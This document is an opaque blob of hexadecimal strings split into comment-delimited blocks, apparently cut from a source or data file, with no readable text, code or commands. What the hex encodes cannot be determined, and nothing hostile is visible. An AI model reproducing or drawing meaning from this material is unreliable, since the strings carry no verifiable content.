4512284718549c2faca7c83219c481736c3d6d8001ee192c474bd5542ba69bf66ffbc21b03e3aec13400eeedd49b8aae2c6014589936f4e760c1d809717ec90b5e0f689d7ccdd4d1eb394460034912ab144f03d767516d7d49b87ab194597543e5b4d47db3d3838fc43c0c00e9c5a96ad88429b13b04aafc5324e9ed2184aced8ecc8a1b286b92ec231f96d8723e3b1a7dd64f4fab1a359217a4116c3b5f5542409eda203579d683293bde151c377a5a9388501e595013afbf34d3aa0e51575b1b69be79faceb631f07e3c2e3c4daee7402ce0359d4ac17e9fa0f912e897b588757a500f43e71e6384652c10db9737ff69d044f4f3e462f634c798026bfeb92a728ae84e4783b9269382adec28ff440da8d6888be14f8ed99e35da029b0147e0c7a5587c4f79bd6b44d5910c3f84e99af61db0297582c73dc2791fad571e940742c546f41c3f5588b28f3b19c815022f05122d6d2fc3d54f42deedd1bb4db8b4b5c61e0f223e15a32d03478e1d838bc4b81c6aa2c8be2cbd486ee39f23bda1b8f744d52c195f43f29ce799b0be950836d7ccb1423649130427d97e00cd73dad426a87b5d88d7e255f098890cd62f4a0afc6f5ace726e4dda0bf30144bf000838a90648644660bc96ec9675a813cb40c3333d397ad1b3dee8f8d3af0fec3afb1fa0074a9fc2d3cc1b554d8fa8727c83107c462fd6ced5127e50e855c49db86d925bed573b020149aa7e148d77e1cc059d2ac7e421a6de0ecbe2a34d44ef0a49e125215dac052c42a1f1ccad4175f88e4f2704214e78db5571c60f42201e0ad2a2be9572c9217ac33713eef9ed547b6cd7a0181b9e97f7546df62482b1905f5a094be60da27e96c0ef907337a633be63ece0c0dceef7f457606c0b56a8b027cc0673001f4617e99152c36b91d0c07bf97c3c6055095bc99b68e2117fa5521a6e30f6987643414572e0b5ddcc6e6408e3320ccdfbb972360385a48353eede2606aaa7ad2b7283fc35807a03afc91fb665c10f477452b8384c6025c25fb9c20ceaa6e93fd552c000e5aa18ddf8edfe7e17c395dfb428cb2b0df2e79d95ebfdd8c8f57c437eebaadc558a78cc1529021d564ebba8fc36a450dca2357f3ad8067959192da22d9b34bbb94c49b9997a8b8ed3166e0d5686891dd2fb0287cdfd90b36843eb3b79d12db503457fa579b1be49f0650435c4c61381e82796a071b7b243bf205c58ace61813401acc3a92e3151eb5eba6a3f475887916d4e20093726f7f92c4466c34af71544af214aec38aa87a207b38879b21050c2d9fa2543760d792abb250f3c7964ade83f*/
/*b2a08deed3cb50a2f9627ddc243d7bdd6a788d70132945007ea605a89937fd3650a84bb2273d8a3f968e04accc5835ec35c2c68fd390d3d40e562f70b1565c7abc328e176c4e9f7ec3c0ea98e16b3d0b667b26cf39c28c2472ba70090bb3f758e5d57847cde28937a755b36a1c84e0b3c74fa49d5c50b7dd583a80f422f1f343b9d9ba360cea8fa4493e95dca278bb8ff8e51e9d8b20307825336ece8484d03ccddbb1bd4609137fe7401c8d87974e3007b6e8e483b59a96fe6e4d9cb2d36cbe617275e10a41c9aeacad39cdf1e44ff56d77987cb246f067046b2c35677837baca4e36f48c7098b10f010cc312745f1910584e4edca52f42edfb1fa6f61b13bf55b22b87e71f7138c56ec1f48218f99669cb50bff67711a8a45ccadaa21cc50db63e6044b9f5a4ea9dbf49b7d8f0c120a504dce2b8621446f64fa6052f9520c93aeae5d7386bb69b2a8224e0f7716038309265abc41dba42cb20e810881de9d98ed091b1c6e81d8d79c9b187598407f1512abf488aea664033aea347ffce339ac9025ad4d1ed8af1a46bb17d4b0493ae186658a66f7fa8ba060c0b89cc0b36b4a54eb4fea872ebfa6c866b17956a5e280ee5143ae9d3e65fdd18273915a7a0a3a89c638c9c50f9913dee7db8b9bb31cb2d0de97c00346332d8a85292ebb54a7accc58a32b71f7662ee88cb6ee6c198eb1d3961e7427dd219c21c35d309d0a71cf76cd7cf1a767066be3ccf858c9c222666c5757c13b120377d52deeadd8450ac072770ffea23d053f1d152a3eaa61ae33efbc9ef79eff7d359881c1b19187def29b1309b0945e70200806d10253aa0903759d19aa5843b26a92a1f7f7755c9e127e7e574185a79964ec90b7a181478628d245df42ce0072de45c9c3d3d3366a19130a21e8ee1730900a4f4f71e99b415b14b4aa346374e8267fa9a7eeefbfc904797ccd7095c288f2b23dd4951012f8e6c96b6f51018d8e5ce85944218a42e22bfb784d3cbef5b4bec50227221e1cc0208bf15015820482da3b774c6042eee64aa37e3c3c93839d9cfc891b387507a6e97c5230f2ab70f2bae1386b0c55036b0820e0e1cd82ebeaca2fa357c9481b8ad08c0d74b5e99d311013d6ebe85bd15a2551924600f25dc85c2879ed3a1c3410c81e75afa9bbc090bdaefb3a8f21fe0498d53377f8e0fcf6bbf9647e0c29cf8ed3c758ac95a9f13c5c9869528a66a5605b0f864688235646708b765735e9a25c0d580171327cbd83904df4d838c9542420372b5e3d854c934631417964e0514320fa39bff76a5c8e0e9849bc29b3ff2ac52760aa11bf9ed368b4ee3c43feea7bb098a8867fabf07acc41c50dc05c4b99c82a5aa2be4a9b1d16afdefd7fd1c0fa2ed81ba58655f461949b1cb3b9efe35787eee378d89a3da901bed9cdb6e54f54d652fa2475907dbeaf0bfd32c016604de70b7ede46dc142b5146250b621ea5f77d9f3f9a8c80c6fb9a674202034dbbc6c74d1acf71b9c61f4d23821c6cfcf3900fa25379463655ab84215f21721a8508aa51a7a0e34b88e7c761534c0d26405a1ecd188fc266b18737664cc553bf9d26b94e50a5828cbbc85470b4c830e5b671188a00e65ac9982026d28369c5099a3f1acaac86e1a8c30198f222616de15c7d946b4496d9a588f30bc90d070e832380c2e0e275a4b5ee4238542c3dee4a3333f8d7a67f45b7623370ba8ab4e6d9d9ede2057196a0950b940ed9d46605b42b0786c2e3dec8bf77fb95ec14bec4877ed18d097cd34750b61a25b3647e35ef55d26454e1c6265fceb089b6b34e49982b7e267885e50f2cee319d94b1e78b2b15c36214e7a46bbb7779d83dd92a895fd54353ea7f39f0af845767e59d32d788e623d7231c6fe6a0818ce14658eaa4d4699ff6f9d3b186ac6607090d9bfc279536cefe09b675d14cb45b211538f2ca7d84e10fd25751398abc5b0e1549831ad9d1219afe94f4e866e293bbd58f8f8ba9e8461481e2e28a370acf10b34fd0b30716ff38e274f2be13e11f118fca97c41d1833ce73a4e82e6bdbc8afc03984cdbae4d8cdfa075ad9c1291b76b3bd55d3f47ef396a88e11acc46e83c3e516f68f0c66030be7bc62021dc8b8f262d4f77d016390149ad3302825220c345e3e56791865c0e59c7cd199cec41d3338c9dbf9d0a53abab0037c7482ff982b45afd502b74eaeda51e5453448d470019c655bef56e4d3a596018f551ad954ec199023deed7a946d144c166933770c19516b289ce5d794006fa71644432a751b17cce3932060570336db558560777307c78108da3165f7b29a2d027c57804ee7c8301b1346ccca4e7811274b2489628980bae26a466ca2a55d8baea6d9ab01d55ba3986e84a25c8e7cc9424cf57494bf4f45333fa6d145b1d344c5c1ef700b54ac2bd5f6ed260687f0127fa6142872cddbfb4558c3e07cb8c2822299195a5c8738fdb8c0ffe679fe11ab3e33717e0452aec8e5d9883501c7058ab58992b8d44d00d58def286c6d3ec8e473816657c067548fada687e7abea9d59c1487a0fc1bc946053a186c4f4fff152bb7bf540654334ab9965ad65032acee9094bf95c3f258d44246781756051feb30d8e1032ab06ce0f5a8c8e1639fedd51224bfcc2620ad5810f62138e1c6c41d297edc09fde1aaa367717b2608ea3f1b75469d2693e8ce956051764d3b10696e9b0ae3148142a6d582b1d703e8c8e7d0112ab268d76555fc70d26d6f31fa86c33b9278c8c0424cac2760d33d6f0c78264d44e45e0707e73eeab3aca1b032e457687839141aaa29bb67f100a3b4eabc4a65e367652e9cfa9f884dc717094b*/
/*aa2382b44c599f8fdc1fa22cc9983d0e04f0d3785c4c1016a265868e6f2bc6135a4dd953ab40c33d5902e5e303fa4d56ca4f0c6302033ac270d8602d1a61f990137f81bb97b76e18a043ee2c8562e25d675ac25bed4226e77f1852b9c78305463c39c1299903eea504585765ca53f98d8d71a99c705151231983659d54cb41da21957c47c76e204b12d68c5ed005fcb2c0d952007e0c6162b848fe5c19f24f71a08395067f621d28ea0b947f2ba820e71b3e2f5000d636126bf452c22c0c109bca2fb65d640fa2225ec142ecd2960f267e598dc9eb6e3d9ef780e1a329b040a488c4b9e79a39f4e68ce199852d30a129b50e1b6d3bfb590162d9850888b23134d37eb0b97558cbd1ff531abc824cc0db4b309c1b2871b8714437e4e2dfd2a9d0fedaca5e2dfff9612ebcd00af427195f26c8858c67ca605d6e07bba0d6abc567865211ce8c61e96d1df61c6d937ea057c7e23dce3f4ad77c6b03d16d1c06b02d175a948113a76c4cdcf809f2426ec3979bfc75a622224e19285d68c137087fd0f180f4082dd551de215670157734e28310d47682963d17de4c11954b039fcba6a4ac3c1a2d75cf86dd1e63d650bb10b02a21e92b196fd0c8999a502d1792d87041de868a037e4fb021da0a40844face8451b299f6cfc1a05ef8e20735ac7ac02a33a9c183a4b0c542d505113d1af140c658af96993d707e6fa7eeb0ed04990f9feb0bedcb40296a8853a92fb6be509a262b75a4d7368b184488b7f5579814d53729b91aeb23dd2fd5646f2cb4c7df9efc780353af769e2ea86415800aa92852cc2b004720bd665a25d8996aa87df8cc41606881918cf68661c0d242e408912b8daecbfd7772697198f49f5db55be148229f39aac8c5060d6058272419227e7c4ebc823b4598a658f382910e972fce8cff3471bb88692414a16b1fd3ec4717757e588a067ad9f826f807ce6fefa8092921f76f9d6f0bf721facfb805a39f02f10f9af510972b04c334dbf3e8de312f89a3fa086a621367a07f883b1fd0f0ad23e74e05df374b7527d2b1160ddb16a9b21490acf961bb8a0a09afd6001d8810f2c095b5e7f8008b25f2a3587a88c93bf745e20b1d93eb27b82c6f914ea8756813795c7a4494052137669620d51c2ba4f7472db9c02e759685c2dff932616b32a3f8ab553f7b12d60674db83164a0e3e2d8bc111396160c4b160999152d4ac450f09ce9932d126f5c6bf1938da2933d42e93bc3b19aac56a8a57f6003dcc2798783bc918660fa5d85515c46336a9027c8fe58e93097744649999a31218ad285d23c91fdf7b80b89dcceb9305ee557cbe21e0adb3c89afe5d28f81b1d627a572915535b4bcc05df264445982fbaea2a1172afea0bb21da0d6787ae8e1a6d35127cd9b4f5efe04b87a9b433272e9f0d1e7a55da691136882635b9097ead1114e08b1c83d0cd6728aacc4b22e48dacc5de768b78b4bbc32d49ab3718bf68ae970a46d0bf378135e5af2fb14cdd9c366a4085aaed0099418113a296f20b8e89cc1645e87bbfe251d7244664f8375e7aacd67097b3e98150a362cbfc692d213d6215092e0778ad4ad7f98a1b883e05296ea7b76d607e26d1a4e6f26ce0719c27f5144e89c23ca5b5046bbf7a0b37452d08f1e92b06bd2117948cdc092d410519faec8c025356c02a6e3d733b8682e08799638dd11d6160c8edfc3f603c07e9d356d4a163992b8c71281fb039da36a25212a113b4425f7b4a9bc214b0727c572334dc3b8d2a05acce837e943cc6442112c3db9e7f91c8307d98ab2b04df8f0546b4da4a8a768d329c67bf724fc48e533bb599a7f800db54d29338b581803cacfb85097c1ec3c3b4ebd76e5adf5024a6ed30a4e2452d6131feaf7853406f86949a9d5fe5a8e31de906a9e0a75d9e271c41a24530271e0278cf2241bc5798f225b829fc08ed4b8cfaf5e057d292310fdffe46ea392641dfd6bd4220860ce0bbacbd36a45337a764dd9d80059a6593d65f49ed6348e405a31acae8c71baf00f4b0bcb424d8d6166dd8fc461fec4bb72c839fac6b2e02c79c8069677c55d373e42f785de28cef703b1ebf9d8a1469f778ec68a16017b64fb1c6b6a39acf0db5315c5fa6a1e6e47239f3f9e8a88ed42651fccd273b289f6daf47370086ddeb6dd799ab99487fee0c35890ee310d9cccb62c15097efa7fd63b4e6ccefddb924338474257caf57679ecf4bd8fb89c4533943dde060128b964ba3e7b96c50d82fdf967fccad22878a08919317f70663196fc13cca09897019d72047c55dfcde4f21d183030b42044a5bdaaf857bef53f74797fd59bdd0c5ce706c204e6e134ad384b1199c96f75eb8d9a7968ba89ec08ea5736b4219212828e8c795f0cc0cd5e88bdf13cb558e5f62d56d9531bc23de8fd06292b487b42504436b0a83b047eea46e70a175198794414ea595ae65f738c1bc8b57ce465b68d610850e533665acdd660039bb09a28005fe93afc8070f771c943a6146392d1975c7a52527c80857fd04695ca5619a2660fa97a3c5be45751dac69cc588cfeb0cee2912797eef5446b00fca06c59f60a2dd034e06884b49288bbf87a673c31aa1402516166d3d5b577dbc947692d0b4f759a19480a2564b0651ee4bff391e79713f11beb349b73fa6b90778cda40e5da41bfe45ea0bad9301be636b4b611334d281b3a51da8d3bd6bfdaaf33b607158ae569e035c9d8702e606cfb9b0b61596cfacaae84f3f61aa8f3a73db0cce6942e786d9d1c75bad6b0276f408a7140314cf4909509a3526c63f96c19e3477188db2d8f2f1612b61f7d227ac3e927338d4ba0*/
/*defdb69ae9055dd772f3debf24f11bbb8ee44e7efb6b5c734b93490b2f11323248e2123589d3b155ffdf4af38abfd6bdb20af9b9a8aa041b08c2f3612f4ef443f0526d138fc520c3e1a10da850e0a5155e8233bdd392bdd20efdb15235921fcaa582cd71da2d727bc35809fc85677a8e1423a00fd5b1ff551fde9edf09d20e1121160059619f64961bcddd223fb60845ad5cddb36fb80490ed38c85fc65cee8b96cb2f331720fa98c1e2f632c3f2847600ef35a13b8afd3b92db21d180c1415e3e16bf350d02791093c09a96211e3fa63a3f013119dcb0e249e42db7e8c4c5fbe5ae1dc455555e4e037fd307c68ea2d1c6cc0f9e567d5866402d270bc98a8ea7396168ef6ae057da7e1d51c91eb0bd52e39492cbae9cd0832dd6fd48b4737dd3ccca267b1642f8679b982a1d0640aef604d6a14d9f0edef1ca0f490eb84470f4652e197e42cfc1500adea42dafce068ba8837a03d5751a822aa12ef8b987b55849d9d85ed398009454c3d968e4111b3dece8137e53b648fb7247451ecdd8c06e73256d48d8447f78ef8ea572f55b2e0521011fc96f7f0ca6768eee4bce020fdc752299a2a53abf84e70d44e9b26713710afe682ca60dc2eeb9a773b2a071e7e15ef65487f73a612b60dd8ce44efeabd776913afebd36eedf1c7eaf1b900057da30e9942fbaf948311ee9f73e4da29d14caea43ec0a2fd1e91e1ff0987bd1b58b41f38a20cc4b86e72de7b57926eb1d047ac3c144c7785501df5beef880bee2c192f304bfb9af2e65c8d4e6070a870087a5f2dcb741de52fdf43d8207969a8b438ac3b9d4411cf26949c03f4e1298812402a54fbb7f1defd26ca355a65c2062c1e2a12b51ea66ec9690f297b60bef5e82f8175773924f854bf44bfad99ae020f81a38e72bb7483c882fcfcf4f8525ebee115d8ca3325327cdb17c09b352c3efee9d5c73e76ab29ba4162990effca1160362ded579f6272c387d5ef2010d9f613bce8b9bc8e08d7e950a306d188224e285d4595ca209f73acc3c6875281880a737ce1e2bd0c16d1b9b5e0fe912dd8cb4d32201d52829f854ad63397b91229c14e7659869dbfe869d56fb405b360e663c7b7d9594b7c1cf616c4327a35509b2b9206ca86853c6f08a023b4145346e9fcea6e62dbe0a9a4757d98e047f9ed92dd8cd7fc5b06b90367c3aa063448c8f7ba344f6f6276c814b3ce1bc482429a48d53761b3237ad7a0b3e65bf3af99ef66a7807831790896449c402e90145415f9c50a0d93a48bfebf727f20524380dcf66295c27e8a83730fd69ee0d3117ac4bc9e2007fb5472e7978d9136e5e1574bd8a1bd4158555cefc0f5e90e72c4401afe8a299bb78351450420cbeec2ae210d5fab0d272c1875ca1a24ebd06036c8d94f11f42fb4843f07d1e8183eb0e9ad3b109dca458f1252cc4da0c0de07b1d2109c86285434c971b4bc70690fac13bdd08892a2fafec5a7bad7800b5d84358dce79c5bc3c63893bb3bb790e9e940e2b20ee640c87e8981d2b9c21d16e2c935f28458ed6b99ac4a6ce2fe1544ca05b7a8a9d0de6ffb593884949a3b72ab705f36fe936e728b703ef0bb621db876e3460aad6ba9f00f3210d725efc733f065bed54c90091b4cc9efacede30d66f6eb73e42522aca93374a6998b1f962a2fcc3e75f1c0aa6a6e10176c001fc88660c02a64fdfd572d17b2ddafc3e35b8bb411e824a8ffcaa4e19083db89d5bfdb92eaeb5965527b6c6d3939ff9642e8be82a0f134232475662e8eb553d6a14768e0a14e4c05cc778a0aa350050963556978f6418694c4aa1ff73feea1c4f52ade6c51d03c426eb2f24b60094f4b9582b21e0b3f3860c5a2426e4f917f18c4fb52cd4441a8075dc8946978d646662731a5ded61c6725fe30740a57539e9b4115b64f7316a8e6e331fd640029346d1b68697a28a782960e50d5b153697f786b086818a255e168c2e8040f2699cb5ccd5cfd6a0af3ce9f4caa7b3416d68ce4c4a5ef8cb220b428793cc0e8fd706bf4a1660721a117614eb8e3fb770422bc33c835fc0941c640190ca3e26c1b6690d6cea20660c40eeb2e001fe2e13801c6e48eb23d5d32d884d0c2ab5c2a0383c11c98da76eb9cb110120400d04a8839e7f004b0f3292041fa58049c0271f974e31143d7e42ff4806f2367585dbb8cb64a5e33d35b52d83bda6e3867a9099f7c350391c9f033443723a887d593496e96796b3ab1fd883d3710ec06010db05ed200fbe5da11263cde891f0df174f139338a08009c031c497bde033cad2e31082befe585229d7ef17251545e8ad9942c4530d60c0f666d2d25d34c1632023961726fa09ae6c032928466225c42bef4a37a457c4ccf8686c0a85c26c0aab9fb5734f3a4dfd5f554bbf3368020c73e0089246cb1256e5b18d4edf7e79604ea431f1851edec4acaaf71a8d157642e6a602e74247e65f509b8edde98f90b6d3c250e0e06c82d9482fb3871f3b5667d72cb526b94366c091c2fcad49bfffa72d5eab162ccad230732070ca8a903933c2e7cd59c57449953039f24c620b36615e44957df46bba6295a3f690ec1eb0b17016648bbe4de9142c8579cdb3b22ee1650106f5bf70e1514e26e52c41095c5792e34a96ddb7fb24dc4110c2e142fe9c525629ab1bf4c753679d6b89d26a70e1aec726272ecd2cdba994dd99f3ca6b04a1519b1e2b420f97d6e742e9621ba7384fbe26c991917aadfa4cb6fc1760076f6916a9a3200bc1869c61966e19ca98fed348031d8437e5654de3352e7061689012017830be27f9d20b8c4f8e39ce77df7f04cd0afe9019dfa23ba354b9fe615f942*/
/*977d2635b1c5f8505ee2773ac27949f3d01cda489e1d24be722e0f2cef595efb5d7cfb4f4f513265c040506fdd92f4c6150443c662054ad30ff8053b4291f3cf86e62b934d21265e22dad086878773c33ab9f11844fa389dca171cf39f3a657d0ff7482a5964ed616ffca10f99182bb8741338f71fea0ee34479a4e32460ba1fc0b53e7776006456a96a3a3041ebb1ef5c73205f63b805654a3ad3e93a904a307ef9b55159c04127e56f96a6405f199110d7ea8cb995ff29f85f00561d79134377f0fd21fc646060f8ae529a3dcd34d2ee001d9d09d163722e3737a212f0e3a7362b77974f4bb52a915804f21c66499ad09e76ed06d3f85ee13cdb8af6924f54abe019ec03c1c89a250e33ab03a569decc301f2958bb04e30af8f4f5467d13bb2d712b4892d03fdf3f34f68dcf30c56a6a2d511334e80f6a51b55d4a4a91a05ec0ef94bf4b44781dc48601e53a49b1cd09a139b623d9842f5f341d91153b8bd1fa8782ca79eaf26c5b51732353d991e6e08b023972e002ed8aa22999f99db552a72b8c20b775991d16e20b2a384d45b59e0fe47442c427734fb7c8749d8b2e082fb0f73b66d554c283d16a9fcda29d9819c94c4ce066c434b2a71edd10be09e32fe5cc0d046fd82e551c6802e186ada29d7db3b0446efe929068b30b2595d49e59b4ffc59243416b938d50aae7af81ade3c8cdff067ed2f2f2838f5a60e959bad1851c6efa43e3b42ca9f2efe8e171483892153531889c9a1f6bf395a7d4d7a1d3943c6d97dce4c46826234be1722f2026be24712d6887c15b929690129093d548701595ae6ddfefbaeb814fd41ce7811889ca49ed469b8c893bc03a16f45f09bb4b767885e0167aad0481214d6baae7bbba1258410a180adf76abac4f3673979b33c3b1aa04a16294d6817c36378744586f319c6ae25af63b2350ceeeddd02d36a083b3068a26dcc2cc918eacc64369ea58cf8f4a06023c3ed0d9f7a16bc28ea20b2510a34ff638a53462309d1a835d995bec03f7a6ced464b820004242801bbee383699f09607ecf8684479236330ab7db9ea597b132152134a38d8fe48313b3a68fa80ada076eef7f034a91896e5b48f22ead57e84b35498ee326ddc12e1453d3283fe7b02511074386b308081ba76062d3534dd9b203edccf0985b1d479b6c2d7c3dfcfff944d478e0610572aabd5f5222abf91e65beb49c36bfd7db4495930c13cfc86548041b715edd0c2d5e66879a70f4570fdc6f0d58919b9ba85a4f79eb4783f2a3ea9b7f171e46ea76841d098606ff7882ad8df34c0a14ff49d0dbb8692daf54f04802b94222076739cd892421f14576d51b634730d7a108aeb379cfc33ade1d1c522093591d29398c62cef2d45404096062425050cc8b97b7af8add65bcfbb804f1557253ea95ee23ff864d12356fe7760bc3cc8ed4df6eabf4c2aed82536c6eea4efdfff2cf4183db0bf9ae9bb8eb562e60703799b480b88479006f5b5a707142f986e50fbe70c1e60692a9ce046f3d03fb122101de04cbf5d6043d981bf08f65ff63ffd356b9e1ae90b0628e77647ce7c457daa1d58c1e5620c3f242cd0b5d34eb57a4e42dcebd09aac9f27710ad70a7e1fb4f3f896020e15f21844dd00de280180ec5a79e8ad8f5a8948c94e338b94ace3c6795b121fe0d141e81aae8e8e8c0a61d9efe49aedfebacb84f3574611cdb69e2f9dbddcf8f0b5b65f05102bc951d2a4b18a578629e9dec94048be8a7e0b8ce265842c952e6420234c48bac8e24ee8d118633eb9c2b9fa7598f4792f1f22f08951a31798ecc0b32846823ba61ed73cc02986b57ec040ce03997c43cf21c238b2e7eaf831a8b45509604d897b4d90fee0c5db3d34995eb8ad4d6f76d4b1ce2f86dd8cb94d2120e6636d665808bb35d8ab7bf29e0a115e71fd8f4c94bce75c68e9a6cd434692407e7dfa5d369aff5bb0007fc4190bdee46ec949f778904abb2e06b22e9c549ff191175760a4949cf607ff250772135df07595fb16910de6f06addf014d7b78f91f99c1ad547efe77936a979c31fbea40629ed0cb876949231d698773ffd899b628a18a2178525f3a0b465542a484c66d1bae1b59a15b5840b20a19cda9899ecf49972ccc582e921661dd45f74e6330ca68adc83ad0a690aeb76fcb34c5652b5776ccd660506f9bca3ef9de3654f74421f0dbd7cf7815b655930e8d7b52ca6ba393e99015baa7459d85c97a3ad0c2519db4dbb656f4b55ba7cd929f6e334f97aba2e9c336cf75fccc9b73631d2203f2848f3cfd9511c4637f0b01bebf0ea7d0e2b8d4047b95f257c2f9ca978cee417bc1e862c9a91ef7d7b431de352df484cc1ca3e850695b258cee1a7daff4d49c374dee331a995e37538860be185a225a6169ce4eaacb790b555041bcd24678112b3bb298b38c6248d31f1d0c66082bc3a9b532fed213edbb7f31c36fc39dc254ad16e1207f17949d455b2fba90c02a635065e8b3e1467928ce669142a25ff024cb9abc05c05161a71682d7ca515f4fb4931f4d445788ffb8ecc1ecb2787365ae5f401baaaf6129a5bd8f9bc3828a5759fe53a72106d4c88c0db9582859485a5b02b9b5e3c6af9df82cfdce9e439758ad32fceb0b3ee965a0daf1e95f79c0ae29401f4e4055a529d9f8ae7b7b580c868e3df2294b0daf22fa5be99d78beb19b291459a51f4c96f0404a52286fcf86242e6cd7121efda335d664c3a3073387bfc9f9ae2c0d91e76eeeaa3e4386fc3c30242569125be54279a7d4fb176653590267637f611efec2d385d62f22f059c8fbc83a6f52fa350fb85c51f0ebfdbade2cca2bb9c46ed*/
/*809056bfb4cf5461005faa3d44cd1078ead05696f1501a0f1c35230ebbbcb9e3476ed091ebb63433c7a35f6273f4ac788c1489d56375025e03954fcad9c03c823872f0d2d2de55476c3fb0abbf7814daf92634311b6b8247c9d905dc3322793cafe967e65a0c2247b3bd840905bc8b976b38b3c896afc2fc609aacb540571935c0f45897bbdb3c53b1cee9734b79d4182088e0c2ff6e4b5bf095bb13a2c871b14181c47e6c27a520116739b41e2abc97c6cc1f94844c71797c569557fb89e2f74fd41d97629e12ebf83ecfd323463821f5b0c76adf4c546749faaac6f7b140355d3338a0dd6bf7a2ff7127808fae5e4402b4c61dfd9ed166777a5de8da3cf7b1e77fcae2421078a9427c93e2b5c3d63fe73b4407bea564664b77728e151a5768af38dbd724003fa7f91a9a2abb446e37b6a7ddbe6000de5535516d87a9bf515f38e50c65f1039dae9bad37cc13379df8a9d9f0e5c0bd3a260be05ec5b24798e6148049c7c888c150a4524a2b4f0f44ba7c0e329b0690195eea582e12b2b8967f98436e83d25b20fffdbf5afdda1019518420b75da4c18b3b5e5415e0cb40000546aaa311fd824d98475080415d1440e2e6e03b076b3ebfb1177a7ae9a98e52887ef4909fcd1129148c47282952998573e070aa1926cbfff6b687e8a2b8e6b4974f3a4b7c69e93d5f025f89961de19632fb23b668a01091578e6f0a04c8a6adeb77e04f8e77a233dd036b6412d10d467890084552c42c657e6f54aef344a193c5848230fc486f0d32d083c3de069332d1ef31fd737b28ba16db378ba3aff0e5eefe1135d039cc7769346449d0a7e0143e1550c9e4ef61e7ff16bdfa1a2e18560a16512689799fd3a2cf18312686583a1b6c1ef0e9def83402fdfc26c7afd2dff2fb42f9a67d61202ac5c9ee46ac174c87db4cb837f27c07e35219d78a54357097beee1b3d552cf6bbae83abcbd7840bce544053c1ed0bcf752fc249fc07cb91fccec19ddd18aa68869bbf19d4584d038ceb574f1fc9a9b4facb796be9d26ee8a6bd0d297102b27d78477924d3322494f173ac54e679322d605e1abda82b35d8750dc612c1e68aad53f094e167c4e3380000fe98e5ccfdbae94cea252c7e9e0e87e3e6b294201b231e6831216a50b634b0204118dabb6961619a5775e058d43038b77177bfaeb897fcc4aa253fe61b377c6cc744ba47f0784325ee591085af434fe17c84ceefc9d18986ea307058641cf2bb88e4a84e20205c731acbd4b1aea9c4fb28d12f82ba4be5faacd76ae6e729bdd6d7135252c591272f03afd9cd109fbacf8c856de3aaa1a3c565199ae9a34b3b79bdb30ee4eeec15da0e388e457acf98a7aa0e525817755544e167200cc2f33c308cef10eb024324ffa6f14aee653335f90ac2a869241a9ea7d86c91eb9f4343aa4711dd279af49c79e4f1356c5d663f60b17d7f5cb30d0366927fbb0564498d1624c7ca7b2e2c92ce0141ef27894833e70e2beca3ca9b317331347b34d532438cf33271b3bd33f1aab56553e192737596e753b3ec7375631391f9e9ef95eb0084837df11eefd5493cb8d4da1b178e77f22429cebf2d30d50421fbe68dd158b1bb039bbb58e423547bcce8f5900220b5ba7f8d8eda14abccbaad043489d7b3d1afbd306fe78a87934c2bb124c81362dc199fc37c6006b851f9f011311402c29c23fa1f00293dc35dab37720c9d5f9e03bce03c85d45eb7b326ebf4d89703dde4dda91a22d329acc7bea96778bcc0412f28422a13e01e235ae407a382e2911a2baf17a62344d2c12590dd9c2ca0d1043ba0e12dca8fbe9598c7f44fb83fe63d7a6a2d7dca6d670ae7db9bb60cb99e9a2a23809b91114f92da794b830300fd6ccd5acf69aff07b03b8f5bb826038c6ff73cfec5b07b510bdbcc4f92281c64057814ebdd78aaaa2ff5c1929a9763091a3620f74e74b8556cc5f0fedad712a3bc8924a5994c164491facc7a4ddf5cd5472e0214177092845ff0c5e21abc4011eb9e11d24979fe86690e7498e7dc0852d90139e50cc2964a2faa332ac1ef332da7b269f8c983cd8123562b645fd64e780495f9e58c3959a281a0e0a4b2f6d4be4491c82b6d545df96a21277e7633fd0b2e62af0af34892abcbbba5b6ff089eaa6fc29d4c33a918e13cc2a3284d1389feacd774ac7194a8ec5392a19e266471bbf6ea848f0bedd15d65a380b8e7c8aa88797d211d4a7ae7f27a2802e4dcb187b7c42118b841c01275596aaa124a29429bb011177736585a37dcdcef3f3e7b254c4c833818ddf6a4fc673cac80fa44b9adf8063093721c15f293c141bc1cadb65e37e7a9fc0140a6d5a0983d17a5974ce89f1b84e986d446b5ac92ef26a17339a0d6071b1368625fe5e92b6b18b2333933b4853b0495fe8b817a2822d08ea95667adaac1a94294211f7e8bda3f9d2d5eddaa309972993e154622f31b70d811899ef6b709c1fc99060fa2b6d060467c4927923c1160e2f1823fab8f66e6becd9564536c7cd8abe75ced001bc7fba6fb9dca9c8cbcfe653b34b2e12614502675a5e71bfcc487668cb177b6c29dee205c2b6bf07d239b2166e20f1f4cf2a33c13a82459731348f01a505928f25c7d82ce3cdcf3d83d2e8f37d5abfef248f0ae565d8f78e37d4514b11ca95867c874a1a1a49293c075b56026ed235017118f59f580704c70de084445fe2951fabad70fbcced7004dac567388f0dc6eb1bb6c44cea8e4b29e6bf927e80b790f054984c7b4b8944237cdd24c1b71aa53643ae1cc7640dfa6a2c6433b89a4e0d9de28084bec8298bcf319fc657408ace3671ee93fb8f221b1421*/
/*52f674e3b58820dc54a13726333781e9acf066c649b04f8347dcf5bdf9f108308332d7ff43f32bb87e370676d1c041dcd60f16db597e46d8de983bc9e010ab0f779b4ba079ae0d515a932ca60de163ff19b74fe2cac99f39ae020c276d330ccee882824d84f14cd3f66860e2ae5f5b79bc258cec8b8f140311a4c8d2555af2c1a91c0b08cf62407fc37559bc45e2be0093f6dfeaa0a765fc19b6e51d9bd861e4ba630827ea9168e6f3d13ec595e15df35e94b30d15dcf8f2dfb0fd1230b1b181cb04a20513d275bdc02d0f2f710d4ef27ab377d53d715c60f790466b19fa9d26671bd7dff99ff19326855319fdcacf37979a68d654c611d0fb674022d2aee4582eb95e7c53cb6c039ee45ffbc5bdf5d54aecb637c3dd8ac5b6f932a2bee6fcb54b85fb3bf6404bce75ad881db3ca8a7ae6b44ad226e1143deda05d671a1c9bc569ba7bfd6ee6b284f19bf4f8d804090245103fa0a68c1dab06d79eca7db7fb1b9db10c1c4c6a92ee975f805c7d1a289d5d83b24c746667667d3643ddc7504973047ee8589afdc298d931a7fcc331107e08f3b5a948744364bcaf96e054d64366517021db7b9fe0a7993e07cec81eec478d24b05e3511dbb5c3d67fc581cd5a4a2f323e67794cb7877fac13390aa861b972f26956cd30012454cccc708c6681d60865d53c0f107031a1371209199a2051c245417bab2060f469a3fa4375d7a793098bfe88d72ad79529a375ea09f23cf7784a4721f9d2f633f09f85100fd175fc28e61d42f7bfdabcf371304cc2db42e194e79045af3a5968c8945fe5c876bd3530a1594aba3cec7c5f4a049fc6855037fc930973eefe3c8cd9347dce1fe725db56becd20905604b3c80165c044e3cd6aac42c